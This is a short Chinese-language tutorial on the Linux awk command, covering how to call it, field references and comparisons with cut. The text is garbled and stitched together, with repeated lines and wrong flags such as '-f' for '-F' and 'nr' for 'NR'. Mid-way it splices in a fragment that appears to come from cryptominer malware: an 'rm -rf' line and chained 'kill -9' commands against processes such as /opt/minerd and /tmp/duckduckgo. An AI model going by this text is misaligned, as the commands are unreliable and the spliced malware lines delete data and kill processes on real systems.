说到linux命令,大家都会了知一二,可以学linux最终极是很好的管理LINUX服务器,如同DBA一样,做一个LINUX系统管理员,LINUX命令了解程序决定了你的工资高低(当然Shell不在命令之外);
awk命令,做为查询命令的归类吧,这个命令应用非常的广泛,以至少于运算与分析上;所以,有必要学习,并通这学习这个命令,让你体验LINUX之强大;
awk有三种调用方式:
1,awk -F"分隔符" "command" filename;
2,将所有命令插入一个文件linux命令,使它权限程序可执行,然后当成脚本调用它;
3,是将所有的awk命令插入一个单独文件,然后调用;如:awk -f awk-script-file filename;
字段的引用 $ 字段操作符; $1代表第一列,$2代表第二列。。。n以此类推; $0代表整个输入记录;
比较:cut -d" " -f1sort -t" " -k1awk -F" " '{print $1}'
比较用cut和awk截取IP:
9、 # cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c。9、 #cat /proc/cpuinfo |grep name | cut -f2 -d: | uniq -c。# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c。
ifconfig eth0 |grep Bcast |awk -F: '{print $2}'|awk '{print $1}'
ifconfig eth0|awk ‘nr==2‘|awk -f "[ :]+" ‘{print $4}‘。[root@andy ~]# netstat -nat | grep "192.168.120.20:16067" |awk '{print $5}'|awk -f: '{print $4}'|sort|uniq -c|sort -nr|head -20。 then rm -rf /opt/yamfips auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "mine。
--awk默认以N个空格为分隔符;
打印所有行 awk '{print $0}' /etc/passwd
打印第一列 awk -F: '{print $1}' /etc/passwd
$ awk -f":" '{ print $1 " " $3 }' /etc/passwd。$ awk -f":" '{ print $1 $3 }' /etc/passwd。$ awk -f":" '{ print $1 }' /etc/passwd。